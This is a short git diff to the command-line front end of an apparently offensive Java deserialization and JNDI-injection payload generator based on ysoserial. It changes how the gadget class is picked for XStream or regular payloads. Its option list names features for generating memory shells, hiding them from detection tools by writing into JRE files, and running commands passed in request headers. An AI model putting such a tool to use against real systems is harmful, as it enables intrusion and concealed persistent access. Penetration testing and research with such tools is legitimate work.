diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java index 7b10cb4..8dbff52 100644 --- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -135,15 +135,14 @@ public class ysoserial { final String payloadType = cmdLine.getOptionValue("gadget"); final String command = cmdLine.getOptionValue("parameters"); - final Class payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream"));; -// if (Config.IS_XSTREAM){ -// payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream")); -// }else { -// payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); -// } + Class payloadClass = null; + if (Config.IS_XSTREAM){ + payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream")); + }else { + payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + } if (payloadClass == null) { - System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(options); System.exit(1); @@ -205,7 +204,7 @@ public class ysoserial { options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); - options.addOption("x", "XStream", true, "Xstream deserialization"); + options.addOption("x", "XStream", true, "Generate Xstream serialization xml"); options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");